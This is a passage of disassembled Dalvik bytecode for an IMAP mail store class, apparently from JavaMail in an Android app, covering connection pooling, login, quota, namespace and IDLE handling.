00000020  monitor-exit            p0
00000022  return-object           v0
:24
00000024  move-exception          v0
00000026  monitor-exit            p0
00000028  throw                   v0
          .catchall {:2 .. :20} :24
.end method

.method getMinIdleTime()I
          .registers 2
00000000  iget                    v0, p0, IMAPStore->minIdleTime:I
00000004  return                  v0
.end method

.method public getPersonalNamespaces()[Folder
          .registers 3
00000000  invoke-direct           IMAPStore->getNamespaces()Namespaces, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :14
:C
0000000C  iget-object             v1, v0, Namespaces->personal:[Namespaces$Namespace
00000010  if-nez                  v1, :1E
:14
00000014  invoke-super            Store->getPersonalNamespaces()[Folder, p0
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
:1E
0000001E  iget-object             v0, v0, Namespaces->personal:[Namespaces$Namespace
00000022  const/4                 v1, 0x0
00000024  invoke-direct           IMAPStore->namespaceToFolders([Namespaces$Namespace, String)[Folder, p0, v0, v1
0000002A  move-result-object      v0
0000002C  goto                    :1C
.end method

.method getProtocol(IMAPFolder)IMAPProtocol
          .registers 13
00000000  const/4                 v9, 0x0
00000002  move-object             v8, v9
:4
00000004  if-eqz                  v8, :A
:8
00000008  return-object           v8
:A
0000000A  iget-object             v10, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000E  monitor-enter           v10
:10
00000010  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000014  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000001A  move-result-object      v0
0000001C  invoke-virtual          Vector->isEmpty()Z, v0
00000022  move-result             v0
00000024  if-nez                  v0, :62
:28
00000028  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000002C  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000032  move-result-object      v0
00000034  invoke-virtual          Vector->size()I, v0
0000003A  move-result             v0
0000003C  const/4                 v1, 0x1
0000003E  if-ne                   v0, v1, :140
:42
00000042  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000046  invoke-static           IMAPStore$ConnectionPool->access$11(IMAPStore$ConnectionPool)Z, v0
0000004C  move-result             v0
0000004E  if-nez                  v0, :62
:52
00000052  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000056  invoke-static           IMAPStore$ConnectionPool->access$12(IMAPStore$ConnectionPool)Z, v0
0000005C  move-result             v0
0000005E  if-eqz                  v0, :140
:62
00000062  iget-boolean            v0, p0, IMAPStore->debug:Z
00000066  if-eqz                  v0, :78
:6A
0000006A  iget-object             v0, p0, IMAPStore->out:PrintStream
0000006E  const-string            v1, "DEBUG: no connections in the pool, creating a new one"
00000072  invoke-virtual          PrintStream->println(String)V, v0, v1
:78
00000078  iget-boolean            v0, p0, IMAPStore->forcePasswordRefresh:Z
:7C
0000007C  if-eqz                  v0, :C2
:80
00000080  iget-object             v0, p0, IMAPStore->host:String
00000084  invoke-static           InetAddress->getByName(String)InetAddress, v0
:8A
0000008A  move-result-object      v1
:8C
0000008C  iget-object             v0, p0, IMAPStore->session:Session
00000090  iget                    v2, p0, IMAPStore->port:I
00000094  iget-object             v3, p0, IMAPStore->name:String
00000098  const/4                 v4, 0x0
0000009A  iget-object             v5, p0, IMAPStore->user:String
0000009E  invoke-virtual/range    Session->requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication, v0 .. v5
000000A4  move-result-object      v0
000000A6  if-eqz                  v0, :C2
:AA
000000AA  invoke-virtual          PasswordAuthentication->getUserName()String, v0
000000B0  move-result-object      v1
000000B2  iput-object             v1, p0, IMAPStore->user:String
000000B6  invoke-virtual          PasswordAuthentication->getPassword()String, v0
000000BC  move-result-object      v0
000000BE  iput-object             v0, p0, IMAPStore->password:String
:C2
000000C2  new-instance            v0, IMAPProtocol
000000C6  iget-object             v1, p0, IMAPStore->name:String
000000CA  iget-object             v2, p0, IMAPStore->host:String
000000CE  iget                    v3, p0, IMAPStore->port:I
000000D2  iget-object             v4, p0, IMAPStore->session:Session
000000D6  invoke-virtual          Session->getDebug()Z, v4
000000DC  move-result             v4
000000DE  iget-object             v5, p0, IMAPStore->session:Session
000000E2  invoke-virtual          Session->getDebugOut()PrintStream, v5
000000E8  move-result-object      v5
000000EA  iget-object             v6, p0, IMAPStore->session:Session
000000EE  invoke-virtual          Session->getProperties()Properties, v6
000000F4  move-result-object      v6
000000F6  iget-boolean            v7, p0, IMAPStore->isSSL:Z
000000FA  invoke-direct/range     IMAPProtocol-><init>(String, String, I, Z, PrintStream, Properties, Z)V, v0 .. v7
:100
00000100  iget-object             v1, p0, IMAPStore->user:String
00000104  iget-object             v2, p0, IMAPStore->password:String
00000108  invoke-direct           IMAPStore->login(IMAPProtocol, String, String)V, p0, v0, v1, v2
:10E
0000010E  move-object             v8, v0
:110
00000110  if-nez                  v8, :1E2
:114
00000114  new-instance            v0, MessagingException
00000118  const-string            v1, "connection failure"
0000011C  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000122  throw                   v0
:124
00000124  move-exception          v0
00000126  monitor-exit            v10
:128
00000128  throw                   v0
:12A
0000012A  move-exception          v0
0000012C  move-object             v1, v9
0000012E  goto                    :8C
:130
00000130  move-exception          v1
:132
00000132  if-eqz                  v0, :13C
:136
00000136  invoke-virtual          IMAPProtocol->disconnect()V, v0
:13C
0000013C  move-object             v8, v9
0000013E  goto                    :110
:140
00000140  iget-boolean            v0, p0, IMAPStore->debug:Z
00000144  if-eqz                  v0, :184
:148
00000148  iget-object             v0, p0, IMAPStore->out:PrintStream
0000014C  new-instance            v1, StringBuilder
00000150  const-string            v2, "DEBUG: connection available -- size: "
00000154  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000015A  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000015E  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v2
00000164  move-result-object      v2
00000166  invoke-virtual          Vector->size()I, v2
0000016C  move-result             v2
0000016E  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000174  move-result-object      v1
00000176  invoke-virtual          StringBuilder->toString()String, v1
0000017C  move-result-object      v1
0000017E  invoke-virtual          PrintStream->println(String)V, v0, v1
:184
00000184  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000188  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000018E  move-result-object      v0
00000190  invoke-virtual          Vector->lastElement()Object, v0
00000196  move-result-object      v0
00000198  check-cast              v0, IMAPProtocol
0000019C  iget-object             v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001A0  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v1
000001A6  move-result-object      v1
000001A8  invoke-virtual          Vector->removeElement(Object)Z, v1, v0
000001AE  invoke-static           System->currentTimeMillis()J
000001B4  move-result-wide        v1
000001B6  invoke-virtual          IMAPProtocol->getTimestamp()J, v0
000001BC  move-result-wide        v3
000001BE  sub-long/2addr          v1, v3
000001C0  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001C4  invoke-static           IMAPStore$ConnectionPool->access$8(IMAPStore$ConnectionPool)J, v3
:1CA
000001CA  move-result-wide        v3
000001CC  cmp-long                v1, v1, v3
000001D0  if-lez                  v1, :1DA
:1D4
000001D4  invoke-virtual          IMAPProtocol->noop()V, v0
:1DA
000001DA  invoke-virtual          IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
000001E0  move-object             v8, v0
:1E2
000001E2  invoke-direct           IMAPStore->timeoutConnections()V, p0
000001E8  if-eqz                  p1, :222
:1EC
000001EC  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001F0  invoke-static           IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
000001F6  move-result-object      v0
000001F8  if-nez                  v0, :210
:1FC
000001FC  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000200  new-instance            v1, Vector
00000204  invoke-direct           Vector-><init>()V, v1
0000020A  invoke-static           IMAPStore$ConnectionPool->access$14(IMAPStore$ConnectionPool, Vector)V, v0, v1
:210
00000210  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000214  invoke-static           IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
0000021A  move-result-object      v0
0000021C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:222
00000222  monitor-exit            v10
:224
00000224  goto/16                 :4
:228
00000228  move-exception          v1
:22A
0000022A  invoke-virtual          IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
00000230  invoke-virtual          IMAPProtocol->disconnect()V, v0
:236
00000236  monitor-exit            v10
:238
00000238  move-object             v8, v9
0000023A  goto/16                 :4
:23E
0000023E  move-exception          v0
00000240  goto/16                 :13C
:244
00000244  move-exception          v0
00000246  goto                    :236
:248
00000248  move-exception          v0
0000024A  move-object             v0, v8
0000024C  goto/16                 :132
          .catchall {:10 .. :78} :124
          .catch Exception {:78 .. :7C} :248
          .catchall {:78 .. :7C} :124
          .catch UnknownHostException {:80 .. :8A} :12A
          .catch Exception {:80 .. :8A} :248
          .catchall {:80 .. :8A} :124
          .catch Exception {:8C .. :100} :248
          .catchall {:8C .. :100} :124
          .catch Exception {:100 .. :10E} :130
          .catchall {:100 .. :10E} :124
          .catchall {:114 .. :128} :124
          .catch Exception {:136 .. :13C} :23E
          .catchall {:136 .. :13C} :124
          .catchall {:140 .. :1CA} :124
          .catch ProtocolException {:1D4 .. :1DA} :228
          .catchall {:1D4 .. :1DA} :124
          .catchall {:1DA .. :224} :124
          .catchall {:22A .. :236} :244
          .catchall {:236 .. :238} :124
.end method

.method public declared-synchronized getQuota(String)[Quota
          .registers 6
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPStore->checkConnected()V, p0
0000000A  const/4                 v0, 0x0
0000000C  check-cast              v0, [Quota
:10
00000010  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, p0
00000016  move-result-object      v1
00000018  invoke-virtual          IMAPProtocol->getQuotaRoot(String)[Quota, v1, p1
:1E
0000001E  move-result-object      v0
:20
00000020  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000026  if-nez                  v1, :30
:2A
0000002A  invoke-direct           IMAPStore->cleanup()V, p0
:30
00000030  monitor-exit            p0
00000032  return-object           v0
:34
00000034  move-exception          v0
:36
00000036  new-instance            v2, MessagingException
0000003A  const-string            v3, "QUOTA not supported"
0000003E  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000044  throw                   v2
:46
00000046  move-exception          v0
:48
00000048  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000004E  if-nez                  v1, :58
:52
00000052  invoke-direct           IMAPStore->cleanup()V, p0
:58
00000058  throw                   v0
:5A
0000005A  move-exception          v0
0000005C  monitor-exit            p0
0000005E  throw                   v0
:60
00000060  move-exception          v0
:62
00000062  new-instance            v2, StoreClosedException
00000066  invoke-virtual          ConnectionException->getMessage()String, v0
0000006C  move-result-object      v0
0000006E  invoke-direct           StoreClosedException-><init>(Store, String)V, v2, p0, v0
00000074  throw                   v2
:76
00000076  move-exception          v0
00000078  new-instance            v2, MessagingException
0000007C  invoke-virtual          ProtocolException->getMessage()String, v0
00000082  move-result-object      v3
00000084  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
0000008A  throw                   v2
          .catchall {:4 .. :10} :5A
          .catch BadCommandException {:10 .. :1E} :34
          .catch ConnectionException {:10 .. :1E} :60
          .catch ProtocolException {:10 .. :1E} :76
          .catchall {:10 .. :1E} :46
          .catchall {:20 .. :30} :5A
          .catchall {:36 .. :46} :46
          .catchall {:48 .. :5A} :5A
          .catchall {:62 .. :8C} :46
.end method

.method getSession()Session
          .registers 2
00000000  iget-object             v0, p0, IMAPStore->session:Session
00000004  return-object           v0
.end method

.method public getSharedNamespaces()[Folder
          .registers 3
00000000  invoke-direct           IMAPStore->getNamespaces()Namespaces, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :14
:C
0000000C  iget-object             v1, v0, Namespaces->shared:[Namespaces$Namespace
00000010  if-nez                  v1, :1E
:14
00000014  invoke-super            Store->getSharedNamespaces()[Folder, p0
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
:1E
0000001E  iget-object             v0, v0, Namespaces->shared:[Namespaces$Namespace
00000022  const/4                 v1, 0x0
00000024  invoke-direct           IMAPStore->namespaceToFolders([Namespaces$Namespace, String)[Folder, p0, v0, v1
0000002A  move-result-object      v0
0000002C  goto                    :1C
.end method

.method getStatusCacheTimeout()I
          .registers 2
00000000  iget                    v0, p0, IMAPStore->statusCacheTimeout:I
00000004  return                  v0
.end method

.method getStoreProtocol()IMAPProtocol
          .registers 12
00000000  const/4                 v9, 0x0
00000002  move-object             v8, v9
:4
00000004  if-eqz                  v8, :A
:8
00000008  return-object           v8
:A
0000000A  iget-object             v10, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000E  monitor-enter           v10
:10
00000010  invoke-direct           IMAPStore->waitIfIdle()V, p0
00000016  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000001A  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000020  move-result-object      v0
00000022  invoke-virtual          Vector->isEmpty()Z, v0
00000028  move-result             v0
0000002A  if-eqz                  v0, :102
:2E
0000002E  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000032  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000038  move-result             v0
0000003A  if-eqz                  v0, :4C
:3E
0000003E  iget-object             v0, p0, IMAPStore->out:PrintStream
00000042  const-string            v1, "DEBUG: getStoreProtocol() - no connections in the pool, creating a new one"
00000046  invoke-virtual          PrintStream->println(String)V, v0, v1
:4C
0000004C  new-instance            v0, IMAPProtocol
00000050  iget-object             v1, p0, IMAPStore->name:String
00000054  iget-object             v2, p0, IMAPStore->host:String
00000058  iget                    v3, p0, IMAPStore->port:I
0000005C  iget-object             v4, p0, IMAPStore->session:Session
00000060  invoke-virtual          Session->getDebug()Z, v4
00000066  move-result             v4
00000068  iget-object             v5, p0, IMAPStore->session:Session
0000006C  invoke-virtual          Session->getDebugOut()PrintStream, v5
00000072  move-result-object      v5
00000074  iget-object             v6, p0, IMAPStore->session:Session
00000078  invoke-virtual          Session->getProperties()Properties, v6
0000007E  move-result-object      v6
00000080  iget-boolean            v7, p0, IMAPStore->isSSL:Z
00000084  invoke-direct/range     IMAPProtocol-><init>(String, String, I, Z, PrintStream, Properties, Z)V, v0 .. v7
:8A
0000008A  iget-object             v1, p0, IMAPStore->user:String
0000008E  iget-object             v2, p0, IMAPStore->password:String
00000092  invoke-direct           IMAPStore->login(IMAPProtocol, String, String)V, p0, v0, v1, v2
:98
00000098  move-object             v8, v0
:9A
0000009A  if-nez                  v8, :C4
:9E
0000009E  new-instance            v0, ConnectionException
000000A2  const-string            v1, "failed to create new store connection"
000000A6  invoke-direct           ConnectionException-><init>(String)V, v0, v1
000000AC  throw                   v0
:AE
000000AE  move-exception          v0
000000B0  monitor-exit            v10
:B2
000000B2  throw                   v0
:B4
000000B4  move-exception          v1
:B6
000000B6  if-eqz                  v0, :C0
:BA
000000BA  invoke-virtual          IMAPProtocol->logout()V, v0
:C0
000000C0  move-object             v8, v9
000000C2  goto                    :9A
:C4
000000C4  invoke-virtual          IMAPProtocol->addResponseHandler(ResponseHandler)V, v8, p0
000000CA  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000CE  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000D4  move-result-object      v0
000000D6  invoke-virtual          Vector->addElement(Object)V, v0, v8
:DC
000000DC  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000E0  invoke-static           IMAPStore$ConnectionPool->access$12(IMAPStore$ConnectionPool)Z, v0
:E6
000000E6  move-result             v0
000000E8  if-eqz                  v0, :170
:EC
000000EC  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000F0  invoke-virtual          Object->wait()V, v0
:F6
000000F6  move-object             v8, v9
:F8
000000F8  invoke-direct           IMAPStore->timeoutConnections()V, p0
000000FE  monitor-exit            v10
00000100  goto                    :4
:102
00000102  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000106  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000010C  move-result             v0
0000010E  if-eqz                  v0, :14E
:112
00000112  iget-object             v0, p0, IMAPStore->out:PrintStream
00000116  new-instance            v1, StringBuilder
0000011A  const-string            v2, "DEBUG: getStoreProtocol() - connection available -- size: "
0000011E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000124  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000128  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v2
0000012E  move-result-object      v2
00000130  invoke-virtual          Vector->size()I, v2
00000136  move-result             v2
00000138  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000013E  move-result-object      v1
00000140  invoke-virtual          StringBuilder->toString()String, v1
00000146  move-result-object      v1
00000148  invoke-virtual          PrintStream->println(String)V, v0, v1
:14E
0000014E  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000152  invoke-static           IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000158  move-result-object      v0
0000015A  invoke-virtual          Vector->firstElement()Object, v0
00000160  move-result-object      v0
00000162  check-cast              v0, IMAPProtocol
00000166  move-object             v8, v0
00000168  goto                    :DC
:16A
0000016A  move-exception          v0
0000016C  move-object             v8, v9
0000016E  goto                    :F8
:170
00000170  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000174  const/4                 v1, 0x1
00000176  invoke-static           IMAPStore$ConnectionPool->access$15(IMAPStore$ConnectionPool, Z)V, v0, v1
0000017C  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000180  invoke-static           IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000186  move-result             v0
00000188  if-eqz                  v0, :F8
:18C
0000018C  iget-object             v0, p0, IMAPStore->out:PrintStream
00000190  const-string            v1, "DEBUG: getStoreProtocol() -- storeConnectionInUse"
00000194  invoke-virtual          PrintStream->println(String)V, v0, v1
:19A
0000019A  goto                    :F8
:19C
0000019C  move-exception          v0
0000019E  goto                    :C0
:1A0
000001A0  move-exception          v0
000001A2  move-object             v0, v8
000001A4  goto                    :B6
          .catchall {:10 .. :4C} :AE
          .catch Exception {:4C .. :8A} :1A0
          .catchall {:4C .. :8A} :AE
          .catch Exception {:8A .. :98} :B4
          .catchall {:8A .. :98} :AE
          .catchall {:9E .. :B2} :AE
          .catch Exception {:BA .. :C0} :19C
          .catchall {:BA .. :C0} :AE
          .catchall {:C4 .. :E6} :AE
          .catch InterruptedException {:EC .. :F6} :16A
          .catchall {:EC .. :F6} :AE
          .catchall {:F8 .. :19A} :AE
.end method

.method public getUserNamespaces(String)[Folder
          .registers 4
00000000  invoke-direct           IMAPStore->getNamespaces()Namespaces, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :14
:C
0000000C  iget-object             v1, v0, Namespaces->otherUsers:[Namespaces$Namespace
00000010  if-nez                  v1, :1E
:14
00000014  invoke-super            Store->getUserNamespaces(String)[Folder, p0, p1
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
:1E
0000001E  iget-object             v0, v0, Namespaces->otherUsers:[Namespaces$Namespace
00000022  invoke-direct           IMAPStore->namespaceToFolders([Namespaces$Namespace, String)[Folder, p0, v0, p1
00000028  move-result-object      v0
0000002A  goto                    :1C
.end method

.method public handleResponse(Response)V
          .registers 4
00000000  invoke-virtual          Response->isOK()Z, p1
00000006  move-result             v0
00000008  if-nez                  v0, :30
:C
0000000C  invoke-virtual          Response->isNO()Z, p1
00000012  move-result             v0
00000014  if-nez                  v0, :30
:18
00000018  invoke-virtual          Response->isBAD()Z, p1
0000001E  move-result             v0
00000020  if-nez                  v0, :30
:24
00000024  invoke-virtual          Response->isBYE()Z, p1
0000002A  move-result             v0
0000002C  if-eqz                  v0, :36
:30
00000030  invoke-virtual          IMAPStore->handleResponseCode(Response)V, p0, p1
:36
00000036  invoke-virtual          Response->isBYE()Z, p1
0000003C  move-result             v0
0000003E  if-eqz                  v0, :6E
:42
00000042  iget-boolean            v0, p0, IMAPStore->debug:Z
00000046  if-eqz                  v0, :58
:4A
0000004A  iget-object             v0, p0, IMAPStore->out:PrintStream
0000004E  const-string            v1, "DEBUG: IMAPStore connection dead"
00000052  invoke-virtual          PrintStream->println(String)V, v0, v1
:58
00000058  iget-boolean            v0, p0, IMAPStore->connected:Z
0000005C  if-eqz                  v0, :6E
:60
00000060  invoke-virtual          Response->isSynthetic()Z, p1
00000066  move-result             v0
00000068  invoke-direct           IMAPStore->cleanup(Z)V, p0, v0
:6E
0000006E  return-void
.end method

.method handleResponseCode(Response)V
          .registers 8
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  invoke-virtual          Response->getRest()String, p1
0000000A  move-result-object      v2
0000000C  const-string            v3, "["
00000010  invoke-virtual          String->startsWith(String)Z, v2, v3
00000016  move-result             v3
00000018  if-eqz                  v3, :5E
:1C
0000001C  const/16                v3, 0x5D
00000020  invoke-virtual          String->indexOf(I)I, v2, v3
00000026  move-result             v3
00000028  if-lez                  v3, :4A
:2C
0000002C  add-int/lit8            v4, v3, 0x1
00000030  invoke-virtual          String->substring(I, I)String, v2, v0, v4
00000036  move-result-object      v4
00000038  const-string            v5, "[ALERT]"
0000003C  invoke-virtual          String->equalsIgnoreCase(String)Z, v4, v5
00000042  move-result             v4
00000044  if-eqz                  v4, :4A
:48
00000048  move                    v0, v1
:4A
0000004A  add-int/lit8            v3, v3, 0x1
0000004E  invoke-virtual          String->substring(I)String, v2, v3
00000054  move-result-object      v2
00000056  invoke-virtual          String->trim()String, v2
0000005C  move-result-object      v2
:5E
0000005E  if-eqz                  v0, :6A
:62
00000062  invoke-virtual          IMAPStore->notifyStoreListeners(I, String)V, p0, v1, v2
:68
00000068  return-void
:6A
0000006A  invoke-virtual          Response->isUnTagged()Z, p1
00000070  move-result             v0
00000072  if-eqz                  v0, :68
:76
00000076  invoke-virtual          String->length()I, v2
0000007C  move-result             v0
0000007E  if-lez                  v0, :68
:82
00000082  const/4                 v0, 0x2
00000084  invoke-virtual          IMAPStore->notifyStoreListeners(I, String)V, p0, v0, v2
0000008A  goto                    :68
.end method

.method public declared-synchronized hasCapability(String)Z
          .registers 6
00000000  monitor-enter           p0
00000002  const/4                 v1, 0x0
:4
00000004  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, p0
0000000A  move-result-object      v1
0000000C  invoke-virtual          IMAPProtocol->hasCapability(String)Z, v1, p1
:12
00000012  move-result             v0
:14
00000014  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:1A
0000001A  monitor-exit            p0
0000001C  return                  v0
:1E
0000001E  move-exception          v0
00000020  if-nez                  v1, :2A
:24
00000024  invoke-direct           IMAPStore->cleanup()V, p0
:2A
0000002A  new-instance            v2, MessagingException
0000002E  invoke-virtual          ProtocolException->getMessage()String, v0
00000034  move-result-object      v3
00000036  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
0000003C  throw                   v2
:3E
0000003E  move-exception          v0
:40
00000040  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000046  throw                   v0
:48
00000048  move-exception          v0
0000004A  monitor-exit            p0
0000004C  throw                   v0
          .catch ProtocolException {:4 .. :12} :1E
          .catchall {:4 .. :12} :3E
          .catchall {:14 .. :1A} :48
          .catchall {:24 .. :3E} :3E
          .catchall {:40 .. :48} :48
.end method

.method hasSeparateStoreConnection()Z
          .registers 2
00000000  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004  invoke-static           IMAPStore$ConnectionPool->access$11(IMAPStore$ConnectionPool)Z, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public idle()V
          .registers 6
00000000  const/4                 v1, 0x0
00000002  sget-boolean            v0, IMAPStore->$assertionsDisabled:Z
00000006  if-nez                  v0, :26
:A
0000000A  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000E  invoke-static           Thread->holdsLock(Object)Z, v0
00000014  move-result             v0
00000016  if-eqz                  v0, :26
:1A
0000001A  new-instance            v0, AssertionError
0000001E  invoke-direct           AssertionError-><init>()V, v0
00000024  throw                   v0
:26
00000026  monitor-enter           p0
:28
00000028  invoke-direct           IMAPStore->checkConnected()V, p0
0000002E  monitor-exit            p0
:30
00000030  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000034  monitor-enter           v2
:36
00000036  invoke-virtual          IMAPStore->getStoreProtocol()IMAPProtocol, p0
0000003C  move-result-object      v1
0000003E  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000042  invoke-static           IMAPStore$ConnectionPool->access$19(IMAPStore$ConnectionPool)I, v0
00000048  move-result             v0
0000004A  if-nez                  v0, :E2
:4E
0000004E  invoke-virtual          IMAPProtocol->idleStart()V, v1
00000054  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000058  const/4                 v3, 0x1
0000005A  invoke-static           IMAPStore$ConnectionPool->access$20(IMAPStore$ConnectionPool, I)V, v0, v3
00000060  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000064  invoke-static           IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v0, v1
0000006A  monitor-exit            v2
:6C
0000006C  invoke-virtual          IMAPProtocol->readIdleResponse()Response, v1
00000072  move-result-object      v0
00000074  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000078  monitor-enter           v2
:7A
0000007A  if-eqz                  v0, :8A
:7E
0000007E  invoke-virtual          IMAPProtocol->processIdleResponse(Response)Z, v1, v0
00000084  move-result             v3
00000086  if-nez                  v3, :15A
:8A
0000008A  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000008E  const/4                 v3, 0x0
00000090  invoke-static           IMAPStore$ConnectionPool->access$20(IMAPStore$ConnectionPool, I)V, v0, v3
00000096  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000009A  invoke-virtual          Object->notifyAll()V, v0
000000A0  monitor-exit            v2
:A2
000000A2  invoke-virtual          IMAPStore->getMinIdleTime()I, p0
:A8
000000A8  move-result             v0
000000AA  if-lez                  v0, :B6
:AE
000000AE  int-to-long             v2, v0
:B0
000000B0  invoke-static           Thread->sleep(J)V, v2, v3
:B6
000000B6  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000BA  monitor-enter           v2
:BC
000000BC  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000C0  const/4                 v3, 0x0
000000C2  invoke-static           IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v0, v3
000000C8  monitor-exit            v2
:CA
000000CA  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
000000D0  if-nez                  v1, :DA
:D4
000000D4  invoke-direct           IMAPStore->cleanup()V, p0
:DA
000000DA  return-void
:DC
000000DC  move-exception          v0
:DE
000000DE  monitor-exit            p0
:E0
000000E0  throw                   v0
:E2
000000E2  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000E6  invoke-virtual          Object->wait()V, v0
:EC
000000EC  monitor-exit            v2
:EE
000000EE  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000F2  monitor-enter           v2
:F4
000000F4  iget-object             v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000F8  const/4                 v3, 0x0
000000FA  invoke-static           IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v0, v3
00000100  monitor-exit            v2
:102
00000102  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000108  if-nez                  v1, :DA
:10C
0000010C  invoke-direct           IMAPStore->cleanup()V, p0
00000112  goto                    :DA
:114
00000114  move-exception          v0
:116
00000116  monitor-exit            v2
:118
00000118  throw                   v0
:11A
0000011A  move-exception          v0
:11C
0000011C  monitor-exit            v2
:11E
0000011E  throw                   v0
:120
00000120  move-exception          v0
:122
00000122  new-instance            v2, MessagingException
00000126  const-string            v3, "IDLE not supported"
0000012A  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000130  throw                   v2
:132
00000132  move-exception          v0
00000134  iget-object             v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000138  monitor-enter           v2
:13A
0000013A  iget-object             v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000013E  const/4                 v4, 0x0
00000140  invoke-static           IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v3, v4
00000146  monitor-exit            v2
:148
00000148  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000014E  if-nez                  v1, :158
:152
00000152  invoke-direct           IMAPStore->cleanup()V, p0
:158
00000158  throw                   v0
:15A
